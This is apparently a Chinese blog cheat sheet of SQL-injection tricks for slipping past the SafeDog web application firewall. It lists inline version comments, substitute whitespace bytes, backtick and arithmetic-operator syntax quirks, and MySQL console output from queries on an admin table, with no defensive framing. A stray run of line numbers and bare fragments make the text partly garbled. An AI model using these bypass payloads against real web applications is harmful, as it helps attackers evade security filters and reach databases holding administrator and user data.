web站点过防火墙，安全狗常见技巧分享

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
*******************************************************0x001
/*!*/,


*******************************************************0x002
SELECT[0x09,


*******************************************************0x003
0x0A-0x0D,

*******************************************************0x004

0x20,0xA0]xx FROM 

*******************************************************0x005
//" ' " 


mysql> select`version`()
    -> ;
+----------------------+
| `version`()          |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)


mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
 `>


*******************************************************0x006
//"-+."

mysql> select id from qs_admins;

+----+
| id |
+----+
|  1 |
+----+

1 row in set (0.00 sec)
 
mysql> select+id-1+1.from qs_admins;

+----------+
| +id-1+1. |
+----------+
|        1 |
+----------+

1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
|        1 |
+----------+
1 row in set (0.00 sec)


*******************************************************0x007
//"@"

mysql> select@^1.from qs_admins;
+------+
| @^1. |
+------+
| NULL |
+------+


*******************************************************0x008
//"mysql function() as xxx"

mysql> select-count(id)test from qs_admins;

+------+

| test |

+------+

|   -1 |

+------+


1 row in set (0.00 sec)
*******************************************************0x009
//--/*![>5000]*/ 

mysql> /*!40000select*/ id from qs_admins;
+----+
| id |
+----+
|  1 |
+----+

1 row in set (0.00 sec)

*******************************************************0x010

%20=

/*? =?*/